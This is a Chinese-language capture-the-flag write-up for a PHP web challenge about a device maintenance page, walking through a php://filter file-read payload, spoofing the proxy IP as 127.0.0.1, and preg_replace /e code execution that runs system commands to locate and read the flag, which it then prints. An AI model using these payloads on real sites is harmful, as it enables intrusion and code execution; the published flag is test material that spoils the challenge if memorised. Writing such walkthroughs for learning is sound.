不一定每日,尽量每日,一题
观察
进入页面之后肯定是把这些能点的模块都点一遍,看看有没有什么不一样的,点到“设备维护中心”发现这个页面是有变化的,其他的都不带变的
还是先找能点击的地方,“云平台设备维护中心”是可以点击的,点完之后页面中间出现了“index”字符串,url变成了设备维护中心。看到这个我第一时间想到了XSS漏洞,简单放了个<script>alter(123)</script>,发现没什么用,又看了一下网页源代码,也没有找到有用的信息。随后使用burp suite的模糊测试爆破,还是没有收获。
确实没思路了,然后就去看了一眼题解,看到这个page参数竟然可以用php://伪协议,一下子就悟了
开整+分析
把index.php的源码搞来看看
Payload1:
/index.php?page=php://filter/read=convert.base64-encode/resource=index.php
解密得到源码后,可以看到里面这段代码是留的管理员访问
通过伪造代理服务器ip为127.0.0.1来进行管理员操作,但是没有那么直接,还是要通过利用preg_replace()的漏洞来进一步获取
先使用burp suite通过伪造代理ip来进入内部人员测试通道
对preg_replace()的漏洞我也不是太了解,找到了一篇介绍比较详细的文章
https://www.cnblogs.com/sipc-love/p/14289984.html
主要就是利用了pattern的/e模式实现远程代码执行,根据上文中index.php的源码可知,通过传递pat,rep,sub三个参数来利用preg_replace()的漏洞
Payload2:
/index.php?pat=/test/e&rep=system("ls")&sub=test
其中参数rep可以使用任何php代码,pat用/e模式,sub中包含匹配的字符串即可,比如我这里pat用的是/test/e,sub可以为任何包含test的字符串
可以看到执行了rep传递的命令,在返回值中列出了目录中包含的内容;rep可以传递任何php代码,我执行php代码获取flag的顺序如下
rep=system(“ls”)
rep=system(“find%20.%20-name%20’*flag*’”)
rep=cat%20./s3chahahaDir/flag/flag.php
最终得到flag
完活
cyberpeace{480d4ec64453cc9a97c90a2bd85a1a79}